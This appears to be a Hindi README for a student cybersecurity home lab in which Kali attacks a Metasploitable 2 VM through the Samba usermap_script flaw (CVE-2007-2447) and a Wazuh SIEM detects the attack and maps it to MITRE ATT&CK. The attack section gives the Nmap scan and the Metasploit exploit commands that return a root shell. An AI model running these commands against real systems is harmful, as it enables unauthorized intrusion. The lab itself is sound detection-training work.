🛡️ CVE-2007-2447 शोषण और SIEM डिटेक्शन लैब (Wazuh + MITRE ATT&CK)

B.Tech परियोजना (BTP) | IIIT पुणे आधारित: "डिटेक्शन और मॉनिटरिंग के लिए एक प्रभावी साइबर सुरक्षा होम लैब का डिज़ाइन और कार्यान्वयन" — ICCCNT 2023, IIT दिल्ली

एक पूर्ण रूप से कार्यात्मक साइबर सुरक्षा होम लैब जो एक ही मशीन पर मुफ्त और ओपन-सोर्स टूल्स का उपयोग करके बनाई गई है। लैब वास्तविक दुनिया के हमले के जीवनचक्र — Reconnaissance → Exploitation → Detection — का अनुकरण करती है और प्रदर्शित करती है कि कैसे एक SIEM वास्तविक समय में हमलों का पता लगा सकता है और उन्हें MITRE ATT&CK ढांचे में मैप कर सकता है।

📐 लैब आर्किटेक्चर

┌─────────────────────────────────────────────────┐
│           VirtualBox — Internal Network          │
│              (cyberlab, 10.0.0.x/24)             │
│                                                  │
│  ┌──────────┐   ┌──────────────┐   ┌──────────┐ │
│  │  Kali    │   │ Metasploitable│  │  Ubuntu  │ │
│  │ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 │ │
│  │ ATTACKER │   │    VICTIM     │  │   SIEM   │ │
│  └──────────┘   └──────────────┘   └──────────┘ │
└─────────────────────────────────────────────────┘
         Host-Only Adapter (192.168.56.103)
         → Wazuh Dashboard access from browser

🧰 टूल्स और तकनीकें

🔧 सेटअप गाइड

पूर्वापेक्षाएँ

• कम से कम 16 GB RAM वाली मशीन (सभी 3 VMs एक साथ चलती हैं)
• VirtualBox 7.x इंस्टॉल हो
• ~50 GB खाली डिस्क स्थान

चरण 1 — VirtualBox में नेटवर्क सेटअप

VirtualBox में cyberlab नामक एक इंटरनल नेटवर्क बनाएं। तीनों VMs को यह एडाप्टर मिलता है। Ubuntu/Wazuh VM को एक अतिरिक्त Host-Only एडाप्टर मिलता है ताकि आप ब्राउज़र से डैशबोर्ड तक पहुंच सकें।

चरण 2 — Kali Linux (हमलावर)

1. Kali Linux VirtualBox इमेज डाउनलोड करें
2. इम्पोर्ट करें और cyberlab इंटरनल नेटवर्क एडाप्टर असाइन करें
3. स्टैटिक IP सेट करें:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0

4. नेटवर्किंग पुनः प्रारंभ करें: sudo systemctl restart networking

चरण 3 — Metasploitable 2 (पीड़ित)

1. Metasploitable 2 डाउनलोड करें
2. VirtualBox में इम्पोर्ट करें, cyberlab नेटवर्क असाइन करें
3. स्टैटिक IP सेट करें:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ Metasploitable 2 को कभी भी इंटरनेट पर एक्सपोज़ न करें। यह जानबूझकर असुरक्षित है।

चरण 4 — Ubuntu + Wazuh SIEM (रक्षक)

1. Ubuntu Server 22.04 इंस्टॉल करें
2. दो एडाप्टर असाइन करें: cyberlab इंटरनल + Host-Only
3. netplan के माध्यम से स्टैटिक IP कॉन्फ़िगर करें (/etc/netplan/01-network-manager-all.yaml):

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true

4. Wazuh इंस्टॉल करें (सिंगल-नोड):

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

5. डैशबोर्ड तक पहुंचें: https://192.168.56.103 (होस्ट ब्राउज़र से)

चरण 5 — Syslog के माध्यम से Metasploitable को Wazuh से कनेक्ट करें

चूंकि Metasploitable 2 Wazuh एजेंट नहीं चला सकता, इसलिए एजेंटलेस (agentless) मॉनिटरिंग के लिए syslog फ़ॉरवर्डिंग कॉन्फ़िगर करें:

Metasploitable पर, /etc/rsyslog.conf में जोड़ें:

*.* @10.0.0.3:514

Wazuh (Ubuntu) पर, /var/ossec/etc/ossec.conf में syslog इनपुट सक्षम करें:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

Wazuh पुनः प्रारंभ करें: sudo systemctl restart wazuh-manager

⚔️ हमले का अनुकरण

चरण 1 — टोह (Nmap)

# From Kali
nmap -sV -O 10.0.0.2

Metasploitable 2 पर खोजी गई मुख्य सेवाएँ:

20+ ओपन पोर्ट खोजे गए। OS फ़िंगरप्रिंट किया गया: Linux 2.6.x

चरण 2 — शोषण (Metasploit)

कमजोरी: CVE-2007-2447 — Samba usermap_script कमांड इंजेक्शन

Samba 3.0.0–3.0.25rc3 पर दोषपूर्ण MS-RPC अनुरोधों के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देता है।

# From Kali — launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

चरण 3 — डिटेक्शन (Wazuh SIEM)

शोषण के बाद, Wazuh ने स्वचालित रूप से घटनाओं का पता लगाया और उन्हें MITRE ATT&CK में मैप किया:

कुल घटनाएँ पता चलीं: 55+

डैशबोर्ड तक पहुंचें: https://192.168.56.103 → Security Events → MITRE ATT&CK

📊 मुख्य परिणाम

• ✅ पृथक वातावरण में पूर्ण हमले के जीवनचक्र को सफलतापूर्वक दोहराया गया
• ✅ CVE-2007-2447 ने सेकंडों में बिना प्रमाणीकरण के रूट शेल प्राप्त किया
• ✅ Wazuh SIEM ने सभी हमलों का वास्तविक समय में पता लगाया और उन्हें MITRE ATT&CK में मैप किया
• ✅ Syslog फ़ॉरवर्डिंग ने विरासती Metasploitable सिस्टम की एजेंटलेस मॉनिटरिंग सक्षम की
• ✅ पूरी लैब 16 GB RAM वाली एक ही होस्ट मशीन पर चलती है

📁 रिपॉज़िटरी संरचना

cybersecurity-home-lab/
│
├── README.md                  ← You are here
├── network-config/
│   ├── kali-interfaces.txt    ← Kali static IP config
│   ├── metasploitable-interfaces.txt
│   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM netplan config
├── wazuh-config/
│   └── ossec.conf             ← Wazuh syslog/agent config
├── screenshots/
│   ├── nmap-scan.png
│   ├── metasploit-exploit.png
│   ├── wazuh-dashboard.png
│   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← Reference research paper

🔗 संदर्भ

Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.

⚠️ अस्वीकरण

यह लैब पूरी तरह से पृथक वर्चुअल मशीनों पर बनाई गई है, जिनमें हमले के अनुकरण के दौरान कोई इंटरनेट पहुंच नहीं होती। सभी टूल्स और तकनीकों का उपयोग कड़ाई से नियंत्रित वातावरण में शैक्षिक उद्देश्यों के लिए किया जाता है। उन प्रणालियों पर किसी भी हमले की तकनीक को दोहराने का प्रयास न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।

प्रस्तुतकर्ता: हर्षिता वर्मा | IIIT पुणे